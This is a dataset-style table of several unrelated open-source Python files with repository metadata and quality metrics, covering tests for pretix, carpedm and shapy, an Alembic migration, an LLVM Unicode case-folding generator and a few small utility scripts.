hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1c8628f13d65ff3439c3fbd013fa30e504e0ca89 | 918 | py | Python | office365/sharepoint/view_collection.py | andebor/Office365-REST-Python-Client | ffd0ab4cf742b2e5ae7d8c44e937495aece41e07 | [
"MIT"
] | null | null | null | office365/sharepoint/view_collection.py | andebor/Office365-REST-Python-Client | ffd0ab4cf742b2e5ae7d8c44e937495aece41e07 | [
"MIT"
] | null | null | null | office365/sharepoint/view_collection.py | andebor/Office365-REST-Python-Client | ffd0ab4cf742b2e5ae7d8c44e937495aece41e07 | [
"MIT"
] | null | null | null | from office365.runtime.client_object_collection import ClientObjectCollection
from office365.runtime.resource_path_service_operation import ResourcePathServiceOperation
from office365.sharepoint.view import View
class ViewCollection(ClientObjectCollection):
"""Represents a collection of View resources."""
def __init__(self, context, resource_path=None):
super(ViewCollection, self).__init__(context, View, resource_path)
def get_by_title(self, view_title):
"""Gets the list view with the specified title."""
return View(self.context,
ResourcePathServiceOperation(self.context, self.resource_path, "GetByTitle", [view_title]))
def get_by_id(self, view_id):
"""Gets the list view with the specified ID."""
return View(self.context,
ResourcePathServiceOperation(self.context, self.resource_path, "GetById", [view_id]))
| 45.9 | 111 | 0.734205 | 103 | 918 | 6.300971 | 0.378641 | 0.09245 | 0.061633 | 0.046225 | 0.329738 | 0.329738 | 0.329738 | 0.234206 | 0.234206 | 0.234206 | 0 | 0.011905 | 0.176471 | 918 | 19 | 112 | 48.315789 | 0.846561 | 0.140523 | 0 | 0.166667 | 0 | 0 | 0.021992 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
1c8d061b0e5a02933d936632c10e61f84e6418bb | 2,558 | py | Python | src/tests/control/test_devices.py | bsod85/pretix | d86b3a217352f7ad24008685393f9af18fcf6e6c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | src/tests/control/test_devices.py | bsod85/pretix | d86b3a217352f7ad24008685393f9af18fcf6e6c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | src/tests/control/test_devices.py | bsod85/pretix | d86b3a217352f7ad24008685393f9af18fcf6e6c | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | import pytest
from django.utils.timezone import now
from pretix.base.models import Device, Event, Organizer, Team, User
from pretix.base.models.devices import generate_api_token
@pytest.fixture
def organizer():
return Organizer.objects.create(name='Dummy', slug='dummy')
@pytest.fixture
def event(organizer):
event = Event.objects.create(
organizer=organizer, name='Dummy', slug='dummy',
date_from=now()
)
return event
@pytest.fixture
def device(organizer):
return organizer.devices.create(name='Cashdesk')
@pytest.fixture
def admin_user(admin_team):
u = User.objects.create_user('dummy@dummy.dummy', 'dummy')
admin_team.members.add(u)
return u
@pytest.fixture
def admin_team(organizer):
return Team.objects.create(organizer=organizer, can_change_organizer_settings=True, name='Admin team')
@pytest.mark.django_db
def test_list_of_devices(event, admin_user, client, device):
client.login(email='dummy@dummy.dummy', password='dummy')
resp = client.get('/control/organizer/dummy/devices')
assert 'Cashdesk' in resp.rendered_content
@pytest.mark.django_db
def test_create_device(event, admin_user, admin_team, client):
client.login(email='dummy@dummy.dummy', password='dummy')
resp = client.post('/control/organizer/dummy/device/add', {
'name': 'Foo',
'limit_events': str(event.pk),
}, follow=True)
d = Device.objects.last()
assert d.name == 'Foo'
assert not d.all_events
assert list(d.limit_events.all()) == [event]
assert d.initialization_token in resp.content.decode()
@pytest.mark.django_db
def test_update_device(event, admin_user, admin_team, device, client):
client.login(email='dummy@dummy.dummy', password='dummy')
client.post('/control/organizer/dummy/device/{}/edit'.format(device.pk), {
'name': 'Cashdesk 2',
'limit_events': str(event.pk),
}, follow=True)
device.refresh_from_db()
assert device.name == 'Cashdesk 2'
assert not device.all_events
assert list(device.limit_events.all()) == [event]
@pytest.mark.django_db
def test_revoke_device(event, admin_user, admin_team, device, client):
client.login(email='dummy@dummy.dummy', password='dummy')
device.api_token = generate_api_token()
device.initialized = now()
device.save()
client.get('/control/organizer/dummy/device/{}/revoke'.format(device.pk))
client.post('/control/organizer/dummy/device/{}/revoke'.format(device.pk), {}, follow=True)
device.refresh_from_db()
assert device.revoked
| 30.452381 | 106 | 0.713057 | 342 | 2,558 | 5.19883 | 0.219298 | 0.061867 | 0.050619 | 0.040495 | 0.422947 | 0.404387 | 0.287964 | 0.259843 | 0.208099 | 0.156355 | 0 | 0.000915 | 0.145817 | 2,558 | 83 | 107 | 30.819277 | 0.812815 | 0 | 0 | 0.301587 | 1 | 0 | 0.157154 | 0.073495 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0.063492 | 0.063492 | 0.047619 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
1c9164529ab22e884811a536f6b8ba91eb8bbe19 | 420 | py | Python | tests/framework/test_ingress.py | praus/shapy | 7fa5512d9015b4921870f212495280fbb0675164 | [
"MIT"
] | 54 | 2015-01-14T10:14:11.000Z | 2022-02-25T17:12:10.000Z | tests/framework/test_ingress.py | praus/shapy | 7fa5512d9015b4921870f212495280fbb0675164 | [
"MIT"
] | 1 | 2015-12-29T07:37:17.000Z | 2015-12-30T06:17:41.000Z | tests/framework/test_ingress.py | praus/shapy | 7fa5512d9015b4921870f212495280fbb0675164 | [
"MIT"
] | 14 | 2015-02-10T15:29:48.000Z | 2021-09-22T03:01:13.000Z | import unittest
from shapy.framework.tcelements import *
from shapy.framework.executor import run
from tests import TCTestCase
class TestIngress(TCTestCase):
def setUp(self):
self.interface = Interface('lo')
def test_ingress_filter(self):
q = IngressQdisc()
q.add(RedirectFilter('dst 127.0.0.3', 'eth0'))
self.interface.add_ingress(q)
self.interface.set_shaping()
| 24.705882 | 54 | 0.688095 | 52 | 420 | 5.480769 | 0.596154 | 0.136842 | 0.126316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021021 | 0.207143 | 420 | 16 | 55 | 26.25 | 0.834835 | 0 | 0 | 0 | 0 | 0 | 0.045238 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
1c9a500d9b0aad2641a02cde2360c7ed9e056cc6 | 3,494 | py | Python | test/test_util_registry.py | SimulatedANeal/carpedm | 22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89 | [
"MIT"
] | 2 | 2020-09-30T04:59:06.000Z | 2021-03-30T20:42:44.000Z | test/test_util_registry.py | SimulatedANeal/carpedm | 22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89 | [
"MIT"
] | null | null | null | test/test_util_registry.py | SimulatedANeal/carpedm | 22bd5d28cfff50d7462e2a8e1b8dc1675e2a4c89 | [
"MIT"
] | 1 | 2018-05-25T07:15:16.000Z | 2018-05-25T07:15:16.000Z | #
# Copyright (C) 2018 Neal Digre.
#
# This software may be modified and distributed under the terms
# of the MIT license. See the LICENSE file for details.
#
#
# Portions of this module are copied or lightly modified from the
# Tensor2Tensor registry_test module, so here is their license:
#
# Copyright 2018 The Tensor2Tensor Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for utils.registry
References:
Slight modification of `Tensor2Tensor registry_test`_.
.. _Tensor2Tensor registry_test: https://github.com/tensorflow/
tensor2tensor/blob/master/tensor2tensor/utils/registry_test.py
"""
import unittest
from carpedm.util import registry
from carpedm.models.generic import Model
from carpedm.models.baseline import SingleCharBaseline
class ModelRegistryTest(unittest.TestCase):
def setUp(self):
registry._reset()
def test_model_registration(self):
@registry.register_model
class MyModel1(Model):
pass
model = registry.model("my_model1")
self.assertTrue(model is MyModel1)
def test_named_registration(self):
@registry.register_model("model2")
class MyModel1(Model):
pass
model = registry.model("model2")
self.assertTrue(model is MyModel1)
def test_request_unprovided_model(self):
with self.assertRaisesRegex(LookupError, "never registered"):
_ = registry.model("not_provided")
def test_duplicate_registration(self):
@registry.register_model
def m1():
pass
with self.assertRaisesRegex(LookupError, "already registered"):
@registry.register_model("m1")
def m2():
pass
def test_list_models(self):
@registry.register_model
def m1():
pass
@registry.register_model
def m2():
pass
self.assertSetEqual({"m1", "m2"}, set(registry.list_models()))
def test_snake_case(self):
convert = registry._convert_camel_to_snake
self.assertEqual("typical_camel_case", convert("TypicalCamelCase"))
self.assertEqual("numbers_fuse2gether", convert("NumbersFuse2gether"))
self.assertEqual("numbers_fuse2_gether", convert("NumbersFuse2Gether"))
self.assertEqual("lstm_seq2_seq", convert("LSTMSeq2Seq"))
self.assertEqual("starts_lower", convert("startsLower"))
self.assertEqual("starts_lower_caps", convert("startsLowerCAPS"))
self.assertEqual("caps_fuse_together", convert("CapsFUSETogether"))
self.assertEqual("startscap", convert("Startscap"))
self.assertEqual("s_tartscap", convert("STartscap"))
class ModelProvidedTest(unittest.TestCase):
def setUp(self):
from carpedm import models
def test_access_provided_model(self):
model = registry.model("single_char_baseline")
self.assertTrue(model is SingleCharBaseline)
if __name__ == '__main__':
unittest.main()
| 29.361345 | 79 | 0.697195 | 401 | 3,494 | 5.925187 | 0.416459 | 0.056818 | 0.05303 | 0.042088 | 0.152357 | 0.092593 | 0.092593 | 0 | 0 | 0 | 0 | 0.013763 | 0.209788 | 3,494 | 118 | 80 | 29.610169 | 0.846795 | 0.305381 | 0 | 0.350877 | 0 | 0 | 0.150125 | 0 | 0 | 0 | 0 | 0 | 0.263158 | 1 | 0.22807 | false | 0.105263 | 0.087719 | 0 | 0.385965 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
1c9a93508b958132a0c4b43ee8f248a5003366fb | 383 | py | Python | pay-api/migrations/versions/8f7565cf50c1_.py | stevenc987/sbc-pay | 04f02f362f88a30c082b0643583b8d0ebff6063f | [
"Apache-2.0"
] | null | null | null | pay-api/migrations/versions/8f7565cf50c1_.py | stevenc987/sbc-pay | 04f02f362f88a30c082b0643583b8d0ebff6063f | [
"Apache-2.0"
] | null | null | null | pay-api/migrations/versions/8f7565cf50c1_.py | stevenc987/sbc-pay | 04f02f362f88a30c082b0643583b8d0ebff6063f | [
"Apache-2.0"
] | null | null | null | """empty message
Revision ID: 8f7565cf50c1
Revises: 872760122cc9, 8652bf9c03ff
Create Date: 2020-10-02 11:11:49.823678
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '8f7565cf50c1'
down_revision = ('872760122cc9', '8652bf9c03ff')
branch_labels = None
depends_on = None
def upgrade():
pass
def downgrade():
pass
| 15.32 | 48 | 0.741514 | 48 | 383 | 5.854167 | 0.75 | 0.170819 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218069 | 0.16188 | 383 | 24 | 49 | 15.958333 | 0.657321 | 0.407311 | 0 | 0.2 | 0 | 0 | 0.164384 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
98bba1bb3ab4288928a1669d17e724ae9a0d33c2 | 3,760 | py | Python | zipline/__init__.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | zipline/__init__.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | zipline/__init__.py | chalant/pluto | e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc | [
"Apache-2.0"
] | null | null | null | # #
# # Copyright 2015 Quantopian, Inc.
# #
# # Licensed under the Apache License, Version 2.0 (the "License");
# # you may not use this file except in compliance with the License.
# # You may obtain a copy of the License at
# #
# # http://www.apache.org/licenses/LICENSE-2.0
# #
# # Unless required by applicable law or agreed to in writing, software
# # distributed under the License is distributed on an "AS IS" BASIS,
# # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# # See the License for the specific language governing permissions and
# # limitations under the License.
# from distutils.version import StrictVersion
# import os
# import numpy as np
#
# # This is *not* a place to dump arbitrary classes/modules for convenience,
# # it is a place to expose the public interfaces.
# from trading_calendars import get_calendar
#
# from . import data
# from . import finance
# from . import gens
# from . import utils
# from .utils.numpy_utils import numpy_version
# from .utils.pandas_utils import new_pandas
# from .utils.run_algo import run_algorithm
# from ._version import get_versions
#
# # These need to happen after the other imports.
# from . algorithm import TradingAlgorithm
# from . import api
# from zipline import extensions as ext
# from zipline.finance.blotter import Blotter
#
# # PERF: Fire a warning if calendars were instantiated during zipline import.
# # Having calendars doesn't break anything per-se, but it makes zipline imports
# # noticeably slower, which becomes particularly noticeable in the Zipline CLI.
# from trading_calendars.calendar_utils import global_calendar_dispatcher
# if global_calendar_dispatcher._calendars:
# import warnings
# warnings.warn(
# "Found TradingCalendar instances after zipline import.\n"
# "Zipline startup will be much slower until this is fixed!",
# )
# del warnings
# del global_calendar_dispatcher
#
#
# __version__ = get_versions()['version']
# del get_versions
#
# extension_args = ext.Namespace()
#
#
# def load_ipython_extension(ipython):
# from .__main__ import zipline_magic
# ipython.register_magic_function(zipline_magic, 'line_cell', 'zipline')
#
#
# if os.name == 'nt':
# # we need to be able to write to our temp directoy on windows so we
# # create a subdir in %TMP% that has write access and use that as %TMP%
# def _():
# import atexit
# import tempfile
#
# tempfile.tempdir = tempdir = tempfile.mkdtemp()
#
# @atexit.register
# def cleanup_tempdir():
# import shutil
# shutil.rmtree(tempdir)
# _()
# del _
#
# __all__ = [
# 'Blotter',
# 'TradingAlgorithm',
# 'api',
# 'data',
# 'finance',
# 'get_calendar',
# 'gens',
# 'run_algorithm',
# 'utils',
# 'extension_args'
# ]
#
#
# def setup(self,
# np=np,
# numpy_version=numpy_version,
# StrictVersion=StrictVersion,
# new_pandas=new_pandas):
# """Lives in zipline.__init__ for doctests."""
#
# if numpy_version >= StrictVersion('1.14'):
# self.old_opts = np.get_printoptions()
# np.set_printoptions(legacy='1.13')
# else:
# self.old_opts = None
#
# if new_pandas:
# self.old_err = np.geterr()
# # old pandas has numpy compat that sets this
# np.seterr(all='ignore')
# else:
# self.old_err = None
#
#
# def teardown(self, np=np):
# """Lives in zipline.__init__ for doctests."""
#
# if self.old_err is not None:
# np.seterr(**self.old_err)
#
# if self.old_opts is not None:
# np.set_printoptions(**self.old_opts)
#
#
# del os
# del np
# del numpy_version
# del StrictVersion
# del new_pandas
| 29.147287 | 80 | 0.668617 | 483 | 3,760 | 5.049689 | 0.418219 | 0.02296 | 0.01804 | 0.01312 | 0.02542 | 0.02542 | 0.02542 | 0 | 0 | 0 | 0 | 0.004819 | 0.227394 | 3,760 | 128 | 81 | 29.375 | 0.834768 | 0.925 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98bd00128cc88c306abd43b1058840e641926a91 | 195 | py | Python | src/basics/sql_lite/update_data.py | FoxNeo/MyPythonProjects | 3499ef0853f0087f6f143e1633b0a88a3d7b9818 | [
"MIT"
] | null | null | null | src/basics/sql_lite/update_data.py | FoxNeo/MyPythonProjects | 3499ef0853f0087f6f143e1633b0a88a3d7b9818 | [
"MIT"
] | null | null | null | src/basics/sql_lite/update_data.py | FoxNeo/MyPythonProjects | 3499ef0853f0087f6f143e1633b0a88a3d7b9818 | [
"MIT"
] | null | null | null | import sqlite3
connect = sqlite3.connect("production.db")
cursor = connect.cursor()
cursor.execute("UPDATE PERSON SET edad = 19 WHERE nombre = 'Conker'")
connect.commit()
connect.close()
| 24.375 | 70 | 0.723077 | 24 | 195 | 5.875 | 0.708333 | 0.198582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023952 | 0.14359 | 195 | 7 | 71 | 27.857143 | 0.820359 | 0 | 0 | 0 | 0 | 0 | 0.340426 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98c56839c6c8ff2db03c4e3a4f565347728ce5e0 | 4,541 | py | Python | llvm-7.0.0.src/utils/unicode-case-fold.py | sillywalk/grazz | a0adb1a90d41ff9006d8c1476546263f728b3c83 | [
"Apache-2.0"
] | 171 | 2018-09-17T13:15:12.000Z | 2022-03-18T03:47:04.000Z | llvm-7.0.0.src/utils/unicode-case-fold.py | sillywalk/grazz | a0adb1a90d41ff9006d8c1476546263f728b3c83 | [
"Apache-2.0"
] | 51 | 2019-10-23T11:55:08.000Z | 2021-12-21T06:32:11.000Z | llvm-7.0.0.src/utils/unicode-case-fold.py | sillywalk/grazz | a0adb1a90d41ff9006d8c1476546263f728b3c83 | [
"Apache-2.0"
] | 35 | 2018-09-18T07:46:53.000Z | 2022-03-27T07:59:48.000Z | #!/usr/bin/env python
"""
Unicode case folding database conversion utility
Parses the database and generates a C++ function which implements the case
folding algorithm. The database entries are of the form:
<code>; <status>; <mapping>; # <name>
<status> can be one of four characters:
C - Common mappings
S - mappings for Simple case folding
F - mappings for Full case folding
T - special case for Turkish I characters
Right now this generates a function which implements simple case folding (C+S
entries).
"""
import sys
import re
import urllib2
# This variable will body of the mappings function
body = ""
# Reads file line-by-line, extracts Common and Simple case fold mappings and
# returns a (from_char, to_char, from_name) tuple.
def mappings(f):
previous_from = -1
expr = re.compile(r'^(.*); [CS]; (.*); # (.*)')
for line in f:
m = expr.match(line)
if not m: continue
from_char = int(m.group(1), 16)
to_char = int(m.group(2), 16)
from_name = m.group(3)
if from_char <= previous_from:
raise Exception("Duplicate or unsorted characters in input")
yield from_char, to_char, from_name
previous_from = from_char
# Computes the shift (to_char - from_char) in a mapping.
def shift(mapping):
return mapping[1] - mapping[0]
# Computes the stride (from_char2 - from_char1) of two mappings.
def stride2(mapping1, mapping2):
return mapping2[0] - mapping1[0]
# Computes the stride of a list of mappings. The list should have at least two
# mappings. All mappings in the list are assumed to have the same stride.
def stride(block):
return stride2(block[0], block[1])
# b is a list of mappings. All the mappings are assumed to have the same
# shift and the stride between adjecant mappings (if any) is constant.
def dump_block(b):
global body
if len(b) == 1:
# Special case for handling blocks of length 1. We don't even need to
# emit the "if (C < X) return C" check below as all characters in this
# range will be caught by the "C < X" check emitted by the first
# non-trivial block.
body += " // {2}\n if (C == {0:#06x})\n return {1:#06x};\n".format(*b[0])
return
first = b[0][0]
last = first + stride(b) * (len(b)-1)
modulo = first % stride(b)
# All characters before this block map to themselves.
body += " if (C < {0:#06x})\n return C;\n".format(first)
body += " // {0} characters\n".format(len(b))
# Generic pattern: check upper bound (lower bound is checked by the "if"
# above) and modulo of C, return C+shift.
pattern = " if (C <= {0:#06x} && C % {1} == {2})\n return C + {3};\n"
if stride(b) == 2 and shift(b[0]) == 1 and modulo == 0:
# Special case:
# We can elide the modulo-check because the expression "C|1" will map
# the intervening characters to themselves.
pattern = " if (C <= {0:#06x})\n return C | 1;\n"
elif stride(b) == 1:
# Another special case: X % 1 is always zero, so don't emit the
# modulo-check.
pattern = " if (C <= {0:#06x})\n return C + {3};\n"
body += pattern.format(last, stride(b), modulo, shift(b[0]))
current_block = []
f = urllib2.urlopen(sys.argv[1])
for m in mappings(f):
if len(current_block) == 0:
current_block.append(m)
continue
if shift(current_block[0]) != shift(m):
# Incompatible shift, start a new block.
dump_block(current_block)
current_block = [m]
continue
if len(current_block) == 1 or stride(current_block) == stride2(current_block[-1], m):
current_block.append(m)
continue
# Incompatible stride, start a new block.
dump_block(current_block)
current_block = [m]
f.close()
dump_block(current_block)
print '//===---------- Support/UnicodeCaseFold.cpp -------------------------------===//'
print '//'
print '// This file was generated by utils/unicode-case-fold.py from the Unicode'
print '// case folding database at'
print '// ', sys.argv[1]
print '//'
print '// To regenerate this file, run:'
print '// utils/unicode-case-fold.py \\'
print '// "{}" \\'.format(sys.argv[1])
print '// > lib/Support/UnicodeCaseFold.cpp'
print '//'
print '//===----------------------------------------------------------------------===//'
print ''
print '#include "llvm/Support/Unicode.h"'
print ''
print "int llvm::sys::unicode::foldCharSimple(int C) {"
print body
print " return C;"
print "}"
| 32.905797 | 89 | 0.618146 | 663 | 4,541 | 4.180995 | 0.277526 | 0.056277 | 0.007215 | 0.012626 | 0.16342 | 0.093434 | 0.055916 | 0.050505 | 0.034632 | 0.034632 | 0 | 0.02028 | 0.229024 | 4,541 | 137 | 90 | 33.145985 | 0.771494 | 0.277692 | 0 | 0.2 | 1 | 0.026667 | 0.292302 | 0.104575 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.04 | null | null | 0.253333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
98d0ac63dc3b2801dd2a6ec85e229c55affc71b1 | 703 | py | Python | myproject/core/clusterAnalysis.py | xiaoxiansheng19/data_analysis | 9e05aada3f545472500e04225d8537b7f0f90a85 | [
"MIT"
] | null | null | null | myproject/core/clusterAnalysis.py | xiaoxiansheng19/data_analysis | 9e05aada3f545472500e04225d8537b7f0f90a85 | [
"MIT"
] | null | null | null | myproject/core/clusterAnalysis.py | xiaoxiansheng19/data_analysis | 9e05aada3f545472500e04225d8537b7f0f90a85 | [
"MIT"
] | null | null | null | # from sklearn.cluster import DBSCAN,KMeans
#
#
# def run(data,radius=300):
# res={}
# # 默认参数 epsilon=0.001, min_samples=200
# epsilon = radius / 100000
# # epsilon = 0.003
# min_samples = 100
# db = DBSCAN(eps=epsilon, min_samples=min_samples)
# # eps表示两个向量可以被视作为同一个类的最大的距离
# # min_samples表示一个类中至少要包含的元素数量,如果小于这个数量,那么不构成一个类
# y_pred = db.fit_predict(data)
# # print(y_pred)
# # df_user_info['label'] = y_pred
# n_clusters_ = len(set(y_pred)) - (1 if -1 in y_pred else 0) # 获取分簇的数目
# if n_clusters_<1:
# model = KMeans(n_clusters=1, random_state=0)
# model.fit(data)
# centroid = model.cluster_centers_
